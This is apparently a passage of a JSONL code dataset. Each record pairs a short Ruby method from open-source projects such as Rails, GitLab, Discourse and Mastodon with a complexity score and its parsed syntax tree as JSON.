LIKE notes INCLUDING DEFAULTS INCLUDING CONSTRAINTS INCLUDING IDENTITY INCLUDING COMMENTS\\n\"]},{\"type\":\"str\",\"children\":[\");\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE notes_archived ADD PRIMARY KEY (id);\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE notes_archived\\n\"]},{\"type\":\"str\",\"children\":[\"ADD CONSTRAINT check_notes_archived_has_parent\\n\"]},{\"type\":\"str\",\"children\":[\"CHECK (num_nonnulls(namespace_id, organization_id, project_id) >= 1)\\n\"]},{\"type\":\"str\",\"children\":[\"NOT VALID;\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"archived_at\"]},{\"type\":\"sym\",\"children\":[\"timestamptz\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CURRENT_TIMESTAMP\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"review_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"int\",\"children\":[1000000]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"st_diff\"]},{\"type\":\"int\",\"children\":[1000000]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"int\",\"children\":[50000]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"original_position\"]},{\"type\":\"int\",\"children\":[50000]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"note_html\"]},{\"type\":\"int\",\"children\":[1000000]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"change_position\"]},{\"type\":\"int\",\"children\":[50000]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"reviews\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"review_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"notes_archived\"]},{\"type\":\"sym\",\"children\":[\"namespaces\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"COMMENT ON TABLE notes_archived IS\\n\"]},{\"type\":\"str\",\"children\":[\"'Temporary table for storing orphaned notes during namespace_id backfill. To be dropped after migration completion.';\\n\"]}]}]}]}]}","id":"9b509ed9-842c-40c5-831e-07af823cb181"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/query.rb","start_line":119,"raw_source":"def or(*other_queries)\n      raise ArgumentError, \"Or cannot be empty\" if other_queries.empty?\n\n      self.class.new(type: :and, children: [\n        self,\n        self.class.new(type: :or, children: other_queries)\n      ])\n    end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"or\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"other_queries\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_queries\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Or cannot be empty\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"and\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"array\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"or\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"lvar\",\"children\":[\"other_queries\"]}]}]}]}]}]}]}]}]}]}","id":"2a9b1de9-7cda-4455-b998-56c727547d74"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/components/ai_suggestion_dropdown.rb","start_line":16,"raw_source":"def click_suggest_category_button\n        find(CATEGORY_BUTTON_SELECTOR, visible: :all).click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_suggest_category_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"const\",\"children\":[null,\"CATEGORY_BUTTON_SELECTOR\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]}]}]},\"click\"]}]}","id":"b8392940-efb3-4397-993c-be7e261a400c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/actions.rb","start_line":486,"raw_source":"def optimize_indentation(value, amount = 0) # :doc:\n          return \"#{value}\\n\" unless value.is_a?(String)\n          \"#{value.strip_heredoc.indent(amount).chomp}\\n\"\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"optimize_indentation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"amount\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"strip_heredoc\"]},\"indent\",{\"type\":\"lvar\",\"children\":[\"amount\"]}]},\"chomp\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"b1fe2c05-1187-45a3-9367-4e0042df34ab"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/sanitization.rb","start_line":213,"raw_source":"def replace_bind_variable(connection, value)\n          if ActiveRecord::Relation === value\n            value.to_sql\n          else\n            quote_bound_value(connection, value)\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_bind_variable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Relation\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_sql\"]},{\"type\":\"send\",\"children\":[null,\"quote_bound_value\",{\"type\":\"lvar\",\"children\":[\"connection\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"8575fe5f-c94c-43ae-8b02-5c77d27ccb5f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/ci/job_entity.rb","start_line":85,"raw_source":"def scheduled?\n      job.scheduled?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scheduled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"scheduled?\"]}]}","id":"9b040021-bc18-4cb8-968f-476f2bde0d60"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/index_test.rb","start_line":135,"raw_source":"def test_remove_index_with_column_array_which_does_not_exist_doesnt_raise_with_option\n        connection.add_index(table_name, [:foo], name: \"foo\")\n\n        assert connection.index_exists?(table_name, :foo, name: \"foo\")\n\n        assert_nothing_raised do\n          connection.remove_index(table_name, column: [:foo, :bar], if_exists: true)\n        end\n\n        assert connection.index_exists?(table_name, :foo, name: \"foo\")\n        assert_not connection.index_exists?(table_name, nil, column: [:foo, :bar], name: \"foo\")\n      end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_index_with_column_array_which_does_not_exist_doesnt_raise_with_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_index\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"remove_index\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}]}]}","id":"15c1a418-d7d8-4c09-9981-d303a60b3945"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/end_of_line.rb","start_line":67,"raw_source":"def unimportant_missing_cr?(index, last_line, line)\n          style == :crlf && index == last_line - 1 && !line.end_with?(\"\\n\")\n        end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"unimportant_missing_cr?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"arg\",\"children\":[\"last_line\"]},{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"crlf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_line\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"!\"]}]}]}","id":"4e6f26b2-cb33-4d87-a265-47ef0a29da5d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/supports_feature_mixin.rb","start_line":64,"raw_source":"def supports?(feature)\n    !unsupported_reason(feature)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"supports?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unsupported_reason\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]},\"!\"]}]}","id":"e96569d0-b6de-47b7-9b34-c9f9bd994706"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/serializers/ai_tool_serializer.rb","start_line":22,"raw_source":"def options\n    options = {}\n    object.accepted_options.each do |option|\n      processed_option = {\n        name: option.localized_name,\n        description: option.localized_description,\n        type: option.type,\n      }\n      processed_option[:values] = option.values if option.values.present?\n      processed_option[:default] = option.default if option.default.present?\n      options[option.name] = processed_option\n    end\n    options\n  end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"accepted_options\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"processed_option\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"localized_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"localized_description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"values\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_option\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"values\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"default\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_option\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"default\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"processed_option\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"ce925717-132d-4a0c-92da-7d18d5ed142d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/vite_ruby/sri_extensions.rb","start_line":73,"raw_source":"def vite_javascript_tag(*names,\n                          type: 'module',\n                          asset_type: :javascript,\n                          skip_preload_tags: false,\n                          skip_style_tags: false,\n                          crossorigin: 'anonymous',\n                          media: 'screen',\n                          **options)\n    entries = vite_manifest.resolve_entries_with_integrity(*names, type: asset_type)\n\n    ''.html_safe.tap do |tags|\n      entries.fetch(:scripts).each do |script|\n        tags << javascript_include_tag(\n          script[:file],\n          integrity: script[:integrity],\n          crossorigin: crossorigin,\n          type: type,\n          extname: false,\n          **options\n        )\n      end\n\n      unless skip_preload_tags\n        entries.fetch(:imports).each do |import|\n          tags << vite_preload_tag(import[:file], integrity: import[:integrity], crossorigin: crossorigin, **options)\n        end\n      end\n\n      options[:extname] = false if Rails::VERSION::MAJOR >= 7\n\n      unless skip_style_tags\n        entries.fetch(:stylesheets).each do |stylesheet|\n          # This is for stylesheets imported from Javascript. The entry for the JS entrypoint only contains the final CSS file name, so we need to look it up in the manifest\n          tags << stylesheet_link_tag(\n            stylesheet,\n            integrity: vite_manifest.integrity_hash_for_file(stylesheet),\n            media: media,\n            **options\n          )\n        end\n      end\n    end\n  end","complexity_score":44.45,"ast_json":"{\"type\":\"def\",\"children\":[\"vite_javascript_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"str\",\"children\":[\"module\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"asset_type\",{\"type\":\"sym\",\"children\":[\"javascript\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"skip_preload_tags\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"skip_style_tags\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"crossorigin\",{\"type\":\"str\",\"children\":[\"anonymous\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"media\",{\"type\":\"str\",\"children\":[\"screen\"]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entries\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vite_manifest\"]},\"resolve_entries_with_integrity\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"asset_type\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"html_safe\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"scripts\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"javascript_include_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integrity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"integrity\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"crossorigin\"]},{\"type\":\"lvar\",\"children\":[\"crossorigin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extname\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_preload_tags\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"imports\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"vite_preload_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integrity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"integrity\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"crossorigin\"]},{\"type\":\"lvar\",\"children\":[\"crossorigin\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"VERSION\"]},\"MAJOR\"]},\">=\",{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"extname\"]},{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_style_tags\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"stylesheets\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stylesheet\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"stylesheet_link_tag\",{\"type\":\"lvar\",\"children\":[\"stylesheet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integrity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vite_manifest\"]},\"integrity_hash_for_file\",{\"type\":\"lvar\",\"children\":[\"stylesheet\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"media\"]},{\"type\":\"lvar\",\"children\":[\"media\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}]}]}]}]}","id":"d4c9ac8f-fabd-4148-8bdd-e1c06abde03b"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/form_tag_helper.rb","start_line":137,"raw_source":"def styled_search_field_tag(name, value = nil, options = {})\n      apply_css_class_to_options(options, \"form--search-field\")\n      wrap_field \"search-field\", options do\n        search_field_tag(name, value, options)\n      end\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"styled_search_field_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_css_class_to_options\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"form--search-field\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrap_field\",{\"type\":\"str\",\"children\":[\"search-field\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"search_field_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"fc7f54cd-2660-4ccd-bfa6-b6762af34d2b"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/streaming/payload_processing.rb","start_line":49,"raw_source":"def build_chunk(data)\n            Chunk.new(\n              **extract_chunk_attributes(data)\n            )\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_chunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chunk\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_chunk_attributes\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"0f525669-3d0b-4377-ad66-eabd997d01d8"}
